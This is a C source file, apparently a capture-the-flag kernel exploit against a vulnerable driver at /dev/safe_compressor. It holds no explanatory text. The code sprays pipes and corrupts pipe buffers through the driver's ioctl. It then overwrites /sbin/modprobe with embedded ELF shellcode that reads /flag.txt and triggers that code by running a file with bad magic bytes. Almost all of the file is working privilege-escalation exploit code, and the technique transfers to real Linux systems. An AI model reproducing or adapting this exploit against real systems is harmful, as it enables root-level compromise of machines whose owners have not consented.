1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291
|
#define _GNU_SOURCE
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <string.h> #include <stdint.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sched.h> #include <ctype.h> #include <pthread.h> #include <sys/types.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/shm.h> #include <sys/wait.h> #include <linux/keyctl.h> #include <sys/user.h> #include <sys/ptrace.h> #include <stddef.h> #include <sys/utsname.h> #include <stdbool.h> #include <sys/prctl.h> #include <sys/resource.h> #include <linux/userfaultfd.h> #include <sys/socket.h> #include <asm/ldt.h> #include <linux/if_packet.h> #include <crypt.h>
struct compress_array_arg{ unsigned long idx; int *array; unsigned long size; };
struct decompress_array_arg{ unsigned long idx; int *array; unsigned long size; };
struct del_array_arg{ int idx; };
struct empty_array_arg{ int idx; };
#define MAX_PIPE_COUNT 0x80 int pipe_fd[MAX_PIPE_COUNT][2]; int already_read[MAX_PIPE_COUNT];
void spray_pipes(int start, int cnt) { char *buf[0x1000] = { 0 }; printf("[*] enter %s start from index: %d\n", __PRETTY_FUNCTION__, start); for (int i = start; i < cnt; ++i) { if (pipe(pipe_fd[i]) < 0) { perror("create pipe"); exit(0); } if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 1) < 0) { perror("resize pipe"); exit(0); } } }
void err_exit(char *msg){ printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg); sleep(5); exit(EXIT_FAILURE); } void info(char *msg){ printf("\033[34m\033[1m[+] %s\n\033[0m", msg); } void hexx(char *msg, size_t value){ printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value); } void binary_dump(char *desc, void *addr, int len) { uint64_t *buf64 = (uint64_t *) addr; uint8_t *buf8 = (uint8_t *) addr; if (desc != NULL) { printf("\033[33m[*] %s:\n\033[0m", desc); } for (int i = 0; i < len / 8; i += 4) { printf(" %04x", i * 8); for (int j = 0; j < 4; j++) { i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" "); } printf(" "); for (int j = 0; j < 32 && j + i * 8 < len; j++) { printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.'); } puts(""); } }
void bind_core(int core){ cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }
size_t user_cs, user_ss, user_rflags, user_sp; void save_status(){ asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
int fd; void compress(unsigned long idx, int *array, unsigned long size){ struct compress_array_arg arg_struct; arg_struct.idx = idx; arg_struct.array = array; arg_struct.size = size; ioctl(fd, 0xdead0001, &arg_struct); }
void delete(unsigned long idx){ struct del_array_arg arg_struct; arg_struct.idx = idx; ioctl(fd, 0xdead0003, &arg_struct); }
void empty(unsigned long idx){ struct del_array_arg arg_struct; arg_struct.idx = idx; ioctl(fd, 0xdead0004, &arg_struct); }
unsigned char shellcode[544] = { 0x7F, 0x45, 0x4C, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3E, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x02, 0x00, 0x40, 0x00, 0x03, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xE5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x74, 0x48, 0xB8, 0x2F, 0x66, 0x6C, 0x61, 0x67, 0x2E, 0x74, 0x78, 0x50, 0x48, 0x89, 0xE7, 0x31, 0xD2, 0x31, 0xF6, 0x6A, 0x02, 0x58, 0x0F, 0x05, 0x31, 0xC0, 0x6A, 0x03, 0x5F, 0x6A, 0x64, 0x5A, 0xBE, 0x01, 0x01, 0x01, 0x01, 0x81, 0xF6, 0x01, 0x03, 0x01, 0x01, 0x0F, 0x05, 0x6A, 0x01, 0x5F, 0x6A, 0x64, 0x5A, 0xBE, 0x01, 0x01, 0x01, 0x01, 0x81, 0xF6, 0x01, 0x03, 0x01, 0x01, 0x6A, 0x01, 0x58, 0x0F, 0x05, 0x00, 0x00, 0x2E, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2E, 0x73, 0x68, 0x65, 0x6C, 0x6C, 0x63, 0x6F, 0x64, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
int data[0x200]; size_t leak[0x80]; int main(int argc, char ** argv){ bind_core(0); save_status();
fd = open("/dev/safe_compressor",O_RDWR); if (fd < 0){ err_exit("open device failed!"); }
spray_pipes(0, 0x80);
data[0] = 0x11111111; data[1] = 0x22222222; data[2] = 0x33333333; data[3] = 0x44444444; data[4] = 0x55555555; data[5] = 0x66666666; data[6] = 0x77777777; data[7] = 0x88888888; data[8] = 0x99999999; data[9] = 0xaaaaaaaa; data[10] = 0xbbbbbbbb; data[11] = 0xcccccccc; data[12] = 0xc0;
for (int i = 0; i < MAX_PIPE_COUNT; ++i) { uint32_t k = i; write(pipe_fd[i][1], "qian", 4); write(pipe_fd[i][1], &k, sizeof(uint32_t)); }
for(int i = 0; i < 120; i++){ compress(i+1,data,16); }
printf("[*] finding corrupted page\n"); int corrupted_index = -1, pointed_index = 0; for (int i = 0; i < MAX_PIPE_COUNT; ++i) { already_read[i] = 1; uint32_t k = 0; char p_buf[0x10] = { 0 }; memset(p_buf, 0, 0x10);
read(pipe_fd[i][0], p_buf, 4); read(pipe_fd[i][0], &k, sizeof(uint32_t)); if (k != i) { corrupted_index = i; pointed_index = k; printf("[+] found %d=>%d pipe data: %p\n", i, k, *(uint64_t *)p_buf); break; } usleep(1000); } if (corrupted_index == -1) { printf("[-] failed to find corrupted page\n"); exit(0); }
close(pipe_fd[corrupted_index][0]); close(pipe_fd[corrupted_index][1]);
int passwd_fd[0x200]; for(int i = 0; i < 0x200; i++){ passwd_fd[i] = open("/sbin/modprobe", O_RDONLY); if(passwd_fd[i] < 0){ err_exit("open file."); } }
size_t tmp = 0x480e801f; write(pipe_fd[pointed_index][1], &tmp, 4); read(pipe_fd[pointed_index][0], &leak, 0x20); binary_dump("leak", leak, 0x20);
info("try to over write file."); for(int i = 0; i < 0x200; i++){ int retval = write(passwd_fd[i], shellcode, sizeof(shellcode)); if(retval > 0){ puts("write file success."); break; } }
for(int i = 0; i < 0x200; i++){ close(passwd_fd[i]); }
system("echo -e '\\xff\\xff\\xff\\xff'>/home/user/fake"); system("chmod +x /home/user/fake"); system("/home/user/fake");
puts("[+] EXP END."); return 0; }
|